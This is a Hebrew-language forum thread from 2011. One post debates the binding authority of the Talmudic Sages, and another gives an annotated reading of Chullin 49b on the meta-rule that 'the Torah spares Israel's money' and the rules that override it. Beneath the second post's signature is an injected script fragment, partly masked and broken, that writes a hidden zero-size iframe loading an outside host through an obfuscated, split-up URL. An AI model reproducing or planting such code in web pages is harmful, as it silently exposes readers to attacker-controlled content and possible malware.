נדמה לי כי את המילה סייעתא דשמיא אפשר להגיד על כל פעולה ופעולה שאדם עושה בעולמו של הקב"ה. החיפוש בכשרון את האמת, אינה ערובה שהאמת ןהפרשנות שהם מצאו היא הנכונה לכל הדורות הבאים אחריהם
2. התורה שבעל פה כפי שהיא פותחה בתלמוד היא יישום של: המקורות במסורת, כוח הסברה והעיון הלוגי, וכן כמובן ערכים יסודיים. (אבל ראה לקמן)
לא מדויק- חז"ל האדירו את התושבע"פ הרבה מעבר של זו שבכתב. עד כדי ביטול כמה מחוקיה. של זה האחרון.
3. הערכים האלו לא נשאבו מהסביבה. אדרבה, הסביבה היתה שפלה בהרבה! אפילו בתוך עם ישראל עמי הארצות.
הערכים אכן נכתבו כאנטיתזה לסביבה כדבריך- השאלה היא אם הדברים נכונים גם היום לסביבה שלנו- הערכית.
.4 דבריהם אכן מחייבים אותנו, מפני שהם לא רק למדו את התורה על מנת ללמד ולפסוק, אלא מפני שהם נבחרו בידי ה', לפי הקריטריונים הנתונים במסורת, לפרש ולפסוק. השאלה שעולה באשכול היא איך ניתן להמשיך את דרכם ומה הסמכות שיש לפרש וכיצד נתפרשה זכות וחובה זו במשך הדורות שאחרי התלמוד.
וזו היא אכן השאלה אם הם נבחרו בידי ה'? איך ומתי? ומה הן ההוכחות לכך. בהתחשב שנסיונות רבים שלהם לגמד את התורה שבכתב.
לעניות דעתי דבריהם מחייבים אותנו- אך ורק כי החוקים הקיימים היום הם חוקקו, ואין לנו מחוקקים אחרים. ביינתים?!
 |
|
|
|
|
| נשלח ב-24/8/2011 10:18 |
|
| |
מטא כללים מן הדף היומי. תלמוד בבלי מסכת חולין דף מט עמוד ב אמר רב: חלב טהור - סותם, טמא - אינו סותם. ורב ששת אומר: אחד זה ואחד זה - סותם. [נקב שנוצר בקיבה עושה את הבהמה טריפה, אבל אם נסתם הנקב בחלב שעל הקיבה, הסתימה מתקנת את הנקב ואין הבהמה טריפה. נחלקו רב ורב ששת באיזה חלב אומרים שהוא מהווה סתימה טובה. שני סוגי חלב (או יותר) יש שם. חלב הדבוק וחלב שאינו דבוק. הראשון טהור, לפחות לפי חלק מהתנאים, והשני אסור. על איזה מהם אפשר לסמוך? כאמור נחלקו בכך רב ששת ורב]. בעי רבי זירא: חלב חיה מאי? דוקא אמר חלב טהור סותם, והאי נמי טהור הוא, או דלמא משום דמהדק, והאי לא מהדק! אמר אביי: מאי תיבעי ליה? נהי דשרי באכילה, אהדוקי לא מהדק! [חקר רבי זירא: מה הדין בחלב חיה. האם דווקא נאמר שחלב טהור סותם בבהמה, (אולי מהטעם שאכתוב מייד לקמן ולכן בחיה, שבה כל החלבים טהורים, כולם סותמים), או שמא הטעם הוא שצריך חלב מהודק, והחלב בחיה, כמו בבהמה, פעמים שהוא מהודק ופעמים שלא. אמר אביי: מה השאלה? אמנם חלב חיה מותר באכילה תמיד, אבל הוא אינו מהודק. ומכריע אביי כמו הצד השני בספקו של רבי זירא. מה הצדדים בספקו של רבי זירא? מדוע חלב סותם נקב בקיבה? האם זה משום שיש חלב שסתימתו מעולה או שיש כאן טעם אחר שלא נגלה לנו, כגון שחלב טהור נראה כהמשך אחד עם הקיבה, ששניהם מותרים באכילה, וחלב טמא אינו חלק מהקיבה, שהרי סופנו להפרידו, או שמא אין כאן טעם כלל וזו הלכה למשה מסיני. ]. ההוא נקב דסתמה חלב טמא, דאתא לקמיה דרבא. [מעשה בנקב שסתמו חלב טמא ובאה השאלה לפני רבא אם להתיר או להחשיב כטריפה.] אמר רבא: למאי ניחוש לה. [הביטוי של רבא הוא טכני ומקובל בתלמוד כדי לציין ניתוח של אחד האמוראים את דברי קודמיו כדי להכריע כצד אחד, לרוב להקל. השימוש בביטוי מעיד כי יש מחלוקת בדבר השאלה, ואין הכרעה לפי הטעם, אלא אירגון התשובה המקילה לפי כל הטעמים האפשריים. זה מחייב תמיד לדון מה הם הצדדים ומדוע גם אמוראים שאינם חוששים לקבוע הלכה לפי שיקול דעתם, ורבא אחד הגדולים שבהם, כאן הם מבקשים לצאת ידי שיטות שונות. אלא שלא אוכל להיכנס לזה כאן ואני רק מצביע על השאלות המתבקשות. להמשך דומה שאין צורך לענות על שאלות אלו]. חדא דהא אמר רב ששת: חלב טמא נמי סותם, ועוד, התורה חסה על ממונם של ישראל. [שני נימוקים לרבא. ראשית, אפשר להסתמך על דברי רב ששת. הנימוק הזה מוזר במקצת. אם סובר רבא כרב ששת, היה לו לומר כך במפורש. ועוד, האם במחלוקות אמוראים מכריעים לפי הצד המסתבר או לפי שמו של בעל המקור? נכון שיש לנו כללי הלכה המעניקים עדיפויות לתנאים ואמוראים מסויימים על פני חבריהם, אבל מתי התפתחה גישה זו והאם היא, על כל פרטיה, מחייבת גם בדור ההוא וגם את רבא? דומה שמכאן מוכח שלא. על כל פנים, רבא מנסח את דבריו כאילו אין הכרעה בין רב לרב ששת ושניהם שקולים הם. וכן פירשו בשוטנשטיין. הטעם השני של רבא יכול להחשב בין הנימוקים המטא הלכתיים שיש לנו. כאשר נקבעו הדינים בתורה, אחד מכללי העל, כלומר המטא כללים, הוא לחסוך ככל האפשר כסף למחוייבים במצוות. רבא אינו מציין מהיכן נלמד העיקרון הזה. האם זו סברה או שמא, כמו בשוטנשטיין שם הערה 25, יש לכך גם מקור בדרשות הפסוקים]. אמר לו רב פפא לרבא: רב, ואיסורא דאורייתא. ואת אמרת התורה חסה על ממונן של ישראל? [רב פפא מודה לעיקרון שהתורה חסה על ממונם של ישראל, אבל כאן זה אחרת. ראשית, רב עדיף בחכמתו על רב ששת ולכן יש לחשוש לדעתו או לפסוק כמותו. ושנית, כאן אין ברירה אלא להחמיר גם אם זה ספק כיון שמדובר באיסור תורה]. מניומין כנדוקא איגלי ליה בסתקא דדובשא. אתא לקמיה דרבא. [חבית של דבש של מניומין התגלתה והיה חשש שמא שתה ממנה נחש ונבלע בה ארס. וזה לא רק סיכון אלא גם איסור מדרבנן שנקרא "גילוי"]. אמר רבא למאי ניחוש לה? חדא, דתנן שלשה משקים אסורים משום גילוי - היין, והמים והחלב, ושאר כל המשקים – מותרים. ועוד, התורה חסה על ממונם של ישראל. [גם כאן מפעיל רבא אותו סוג של ניסוח ושיקול. ראשית, אין חשש של גילוי במשקה כמו דבש, כפי שנאמר בברייתא (ויש לשים לב שרבא אינו מסתמך על הכרת המציאות, אלא על הכלל שכללו חכמים). ושנית, כפי שכבר ראינו, יש להיזהר ככל האפשר בממון ישראל]. א"ל רב נחמן בר יצחק לרבא: ר' שמעון, וסכנת נפשות, ואת אמרת התורה חסה על ממונם של ישראל? רבי שמעון מאי היא? דתניא חמשה אין בהם משום גילוי - ציר וחומץ, שמן ודבש ומורייס, ר"ש אומר: אף הן יש בהן משום גילוי. [במסכת עבודה זרה למדנו מעשה בנחש שנגס באבטיח, ואכלו ממנו תשעה. אמר העשירי: אם הם אכלו ולא קרה להם כלום, אין ממה לחשוש. אכל ומת. מכאן למדנו שגם אם לאיסור יש ביטול, כגון ברוב, אין לסכנה ביטול, ואין הארס בטל. גם כאן יש סכנת נפשות, וגם אם יש לומר שאין הנחש שותה מדבש ושאר משקין, ולכן אין צורך לחשוש, הרי רבי שמעון סובר שנחשים שותים מדבש. יש לשים לב שרנב"י דוחה את דברי רבא מכוח שני השיקולים גם יחד.] ראוי להדגיש: הכל מודים שהתורה חסה על ממונם של ישראל, והשאלה היא אם אין כללים נוספים שבאים לידי ביטוי בשני המעשים שלנו. כגון החשש מסיכון או הצורך להחמיר במקום תורה. לפנינו אם כן שלושה מטא כללים, ויש לבדוק מה עדיף ממה אם בכלל, ואם יש מטא כלל שמגדיר את סדר החשיבות ביניהם. 1. התורה חסה על ממונם של ישראל. 2. סיכון אינו בטל וספק סיכון חמור מספק איסור. 3. יש להחמיר באיסור תורה. לפי המבואר בסוגייתנו, השיקול השני וגם השלישי דוחים את הכלל הראשון. אמנם רבא נתן עדיפות לכלל הראשון, אך כיון שלא ענה להערותיהם של החולקים נראה שהוא מודה להם. וכך גם הסיקו הפוסקים. *** אשתדל לענות לספרן ולתלמיד טועה מאוחר יותר.גם לירוחם, שאת דבריו ראיתי רק לאחר ששלחתי את התגובה הזו ולכן נאלצתי לתקן...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 24/08/2011 10:21:45
 |
|
|
|
|
|